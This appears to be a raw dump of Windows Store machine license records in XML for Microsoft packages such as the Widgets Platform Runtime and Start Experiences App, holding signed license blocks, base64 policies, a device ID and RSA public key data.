Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
owiO-<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="c542a5bd-64fe-4864-ac70-c05a7f24b302" LicenseID="cf7d6116-bf7b-c1d2-37c2-4959dcc0add1" ContentID="bdb3f316-c077-15d6-5bc3-bea51131b48b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N3RK8ZV2ZR8</ProductID><PFM>microsoft.widgetsplatformruntime_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-21T10:45:35.7548521Z</IssuedDate><LastUpdateDate>2026-02-21T10:45:35.743929Z</LastUpdateDate><BeginDate>2026-02-21T10:45:35.7439287Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI0MjlhYTg3Ny03MDZkLTQ0MjAtOWE0Yy0yZWRhNzhmMjY5NjgifQ==</CustomPolicies><SPLicenseBlock>FAAAAMYAAADJAAAACgAAAAUAAQDQjJlpAwDLAAAAEAAAABZhfc97v9LBN8JJWdzArdHOAAAAXgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAGQAZwBlAHQAcwBwAGwAYQB0AGYAbwByAG0AcgB1AG4AdABpAG0AZQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAXdHiJmCDHLns88Otz/kmB55UQc7ODguaNjJuKwfmMiEgAAAABAAAANCMmWnMAAAARAAAAAEAAgAze6XwpeAmjguPnYN2wegOOrF6G5+2LScrXE3rOJP7DiCSthEVsXiAOOM9LvDqze8L6DS4ZaSL4sFuE/zEvNZ1</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>FquuLOE4n7X5U/6nlpxBC+7ViBa5FfkBeWysdF1P/Wo=</DigestValue></Reference></SignedInfo><SignatureValue>TY4FBVfoAjFLF2o3iK1qZz9lXtbUzG2ee4nic1LGxfGzUNUAUoS4vU1v+eG/hSg4FCyaoFhQyB+TdwOdDkAtSPizTETCXlFOw5fpBenDWFB8H8jcRwP4J1MxxfV7HPsdrbLLrsDQnwYrofHDk91E6N1ehag6wPz+By7yFwB6P8xl5VrlOoaj6EuVmJFqq/PL5x1TkczEfieAdLhTWP1KySfEjseoeeErBwKOo1A4Ou1cl+DzYd4cMlMoFXZT2mDYASVxQ9JDYIkGDlT2c6H4nVaK7qEsniSZTdobfx4YECDesbxuzSA1LsXVl0FSzspimMuGXre1+b0opMjwr/Dj+Q==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
8<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3f0b9d36-c523-45ff-9459-f538fe4b5293" LicenseID="02e2cede-0ae2-6eb0-6159-805c1142a531" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.StartExperiencesApp_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-21T01:45:00.5683004Z</IssuedDate><LastUpdateDate>2026-02-21T01:45:00.5586716Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMjBiMmMzYzktNGNkMy1jYjM4LWNhNDUtZTJiZWY5MWVkODBiIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2NzU1NDIwMDYzNzY0MTA0JmNvbnRlbnRJZD00ZDBiOGNiYS1hMDdjLWUwZTctYTE2OC1hNDIxOGMzZDBlMmQmZW50aXRsZW1lbnRJZD0yMGIyYzNjOS00Y2QzLWNiMzgtY2E0NS1lMmJlZjkxZWQ4MGImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImVkZmI1OThiLTFiODctNDU5NC05MWRiLTQwZWIyYmY4ZDZiYSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjRkMGI4Y2JhLWEwN2MtZTBlNy1hMTY4LWE0MjE4YzNkMGUyZCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UEMxSDlWTjE4Q00iLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDdUMDE6NDU6MDAuNTU4NDQ4NCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAgAdDplpAADLAAAAEAAAAN7O4gLiCrBuYVmAXBFCpTHOAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwB0AGEAcgB0AGUAeABwAGUAcgBpAGUAbgBjAGUAcwBhAHAAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEA26xvVT7QVh8vjI/CwnknhRVr+gimaCuemDAPuRiu6O3TAAAABAAAAB2Dq2nMAAAARAAAAAEAAgAlGOx8b1ZGZl61B2ARCijL5vwJr/M8bX/JJpgQHJlPAK6elS/h6K0V39EUQaoS99MxRX4i6PpdTVQmoRz0rj4e</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>K5C76bjT5FWyl523RR9dwwrrhncwbC9js4YA38jI4yg=</DigestValue></Reference></SignedInfo><SignatureValue>Xo7PomRusF2DUeWSPe8vufaXra8RwXQXnWrQDRU2wGuIkl8hKylJOlJzpGF6V26vV87R3zfw2WJi8bH2DtRwwot9J9WYRlFJkI0ae9FExJ+8xkaL62U9Ye3INxwAwXJl1nIhj+qhJL4gup9sj74hwXRodwXkq5HrxKWdpPTniwbHFwMvB1Gc30HUn+6yCQkX64711SSBWyN/ype6HGO3eeoJX370voe2D8xnbEcMIaJ6ViwI6R1fMKbn+RJDRJqdUq7CS9li3NjhyFWTohyMTBz9KalDyUAKFmtRch+NncLr0tbo2KzDUioVDjYdcDj+Vkngl/jFYUQzNNOzDffO+g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
)<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="dc3867b1-8c37-42b3-bd19-1a01ebd3e44a" LicenseID="edfb598b-1b87-4594-91db-40eb2bf8d6ba" ContentID="4d0b8cba-a07c-e0e7-a168-a4218c3d0e2d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PC1H9VN18CM</ProductID><PFM>microsoft.startexperiencesapp_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-21T07:18:31.527842Z</IssuedDate><LastUpdateDate>2026-02-21T07:18:31.5186176Z</LastUpdateDate><BeginDate>2026-02-21T07:18:31.5186168Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI4Zjk3MWI1Yy1lYjMzLTQyODgtYWVhMi1hZjFiOWNmZTA3NjYifQ==</CustomPolicies><SPLicenseBlock>FAAAAMAAAADJAAAACgAAAAUAAQBIXJlpAwDLAAAAEAAAAItZ++2HG5RFkdtA6yv41rrOAAAAWAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwB0AGEAcgB0AGUAeABwAGUAcgBpAGUAbgBjAGUAcwBhAHAAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEA26xvVT7QVh8vjI/CwnknhRVr+gimaCuemDAPuRiu6O0gAAAABAAAAEhcmWnMAAAARAAAAAEAAgANfaLqsVHdBsTSjIGI3WZstHAEg+4lFVGi2PGG/AU+DZWMHaFQidTJFmV+TmK5Zq7mfXagTzsz+k/HagVcHW9y</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>Aj8hcBsWavVbKB7pVTvHnU1RPcEZMAsnKXFbWjL+5DU=</DigestValue></Reference></SignedInfo><SignatureValue>jjZizFArG7CXn8kxqww8gOtST89gvPvvj/uHUFJUUXuy5xe3EEyqH53rzpLS7Cds89VnNGp0PcPZ61t7cSKmbs0F0OVSIjRdx9RKHwc8Sj6MPmXj/sQRIuw6Njn7L3BCPMV4UqZRQ83kgYpng/cSuHps5Hlb6YIIjFbJQ1oe8b8xC4b5F6QWibINn8sKznGc+mjVlpOC1shtOcQNXbDiefLDdMf5CjWShAalejGaCxCA2EZkwHaSIsrVr6Ud7/MekInCSvvo9ABjtWz9nCTyQlYqW7HjLLc4lfKHyZOS4efR0cDss7j01N1uxQHgMJJbgdojVlyscY732DaAFtXzuQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
NXP<License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="bca13b17-c734-4dda-94ea-fcab82a04e3a" LicenseID="3252b20c-d425-4711-8cc5-b2f53c830b76" Version="2" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><DeviceID xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">B4E4454B17001800</DeviceID></Binding><LicenseInfo Type="Device" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><IssuedDate xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">2026-02-24T07:56:55Z</IssuedDate></LicenseInfo><SPLicenseBlock xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">FAAAAFAhAAAgAAAABAAAAEeNfmstAQAAABAAAAQAAABBozIoNJCYUxuNuTR3dElgOcAF8cJJWl88Lmybn+u2G+DkEvk0tI+tpa2KBFWBa34b+H13S1P/c+cEHyVDYtOWRaMNMhKdsqtLhhOdGZ7Bb4VdLSrE6IzlDLQqJueLf4nVr+30O90SRzzqw1iPtvbYI1vOFAgiXEe2g4f/3SuE5ml13OPtlXYnlOHfCfy3U5yH49qIQdu2ixhNCyuLqszh9FY6etDe/A6G9KePyr1t6E6FrsmZRqHj3g8BCmjm7pQ01ITcWEDXFoYdM679X0LjUGqrozVKYsAKKEykfmTsVF0oXcXW+DD/rpLvMXgINYjElvE4fgvpFOMEycEU8k9OnNAi09us7fR5bRBu+Pz1zgpD98tEKxAqeCA/BG0VmE/rm28t3hloyslIBuGTBxFvJ9GRpTk1+lAhMTbi8mC99t2zJJK0X2y55E2mCYnVZlsc99mb9L0VVPKtSo+QaQf5rSsTZ9VV/cAaZMiG2Yv4/TwkbxKHSMl0FTT0xEVyvZx0wUEPjmMttoMQRhvB5jIdlwIrS2I6g19jp4mCJsDyf3uwbGG7REw/u1xxNTgSiGsTBReFxobA7EZHRx/tyu1fynqDx/OH9B1a5or67tAkBohjI8a1g0NLUHbjK9TNGn1WVCa/LlAbfmUi/0Dk6uarysXLTJ9l+P03RCynpRcJMeAfJ41gH2fD9onhak3yfeLg3uS3kmrTmiOWeCURDkGLAAAAAFFG8E2icrNxNS39yPA8WqrSNaB/iu7xqeO6RpIR1MsxaNBf6yicQtgd63NZbupSTkuW5Xe0l+V854RzTBQAAACwrmHW4JTAcKgcdpsOUPA0GAAAAM+Q+Kll8do90aap+wAAAAAQAAAAvkaNoYrIBKbRoiCBHAx82wwAAACY7AVBoXqq55+e2ijAa4eKBeSeIPs4hKGEBh3edd8k3AI+def2/3S5fz6Zfwnd7nEO6Ox3vLKEQ7MLiwoihgTecdZ1CCZ0rq8uV+o0/f7TcVpCLkZXotunusEw7HdnP9ItM1ev4eiRmwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADLAAAAEAAAAAyyUjIl1BFHjMWy9TyDC3bQAAAAMAAAAEiJMAAAAAgAJ8rPnQEABAACAAgA3iR3WAMABAAEAAQABQAEAAYACAD9FNcSBwAEAM4AAAAqAAAAYgBvAHUAbgBkAGUAZABkAGUAdgBpAGMAZQBsAGkAYwBlAG4AcwBlAAAAyQAAAAoAAAABAAMAx1mdaQAAAQAAAAAQAAAAEAQAAAAAAAAAtyFsontNLr7RxKFACfQ0qcpuCCPnnXePWKvQd7MugDjtAM84nNBZMRE0HucKbukdy1nDB7vKaHCrcTjEFAAAAA372DNjJ5vcH9KNwJdFS80YAAAAtLuxFkf19yEWSGT0AAAAABAAAACVhN2tbw72Jc14Q0d/tQHjDAAAAOT0+5G+1VgL/bDRAqkRaxxOtniMxqIbNH/ichEbLkJIsoONIVWacqO5QGkl5kXSVJh/BZ4EIfIUPsoZRHfT1JIhP2y7BK9crwCMqpa7XxYweHdDPyWQMBSXR0/gw5ZkDF89+rO62rSRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFTEY5Qwip4hzN60lo/ybJ4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA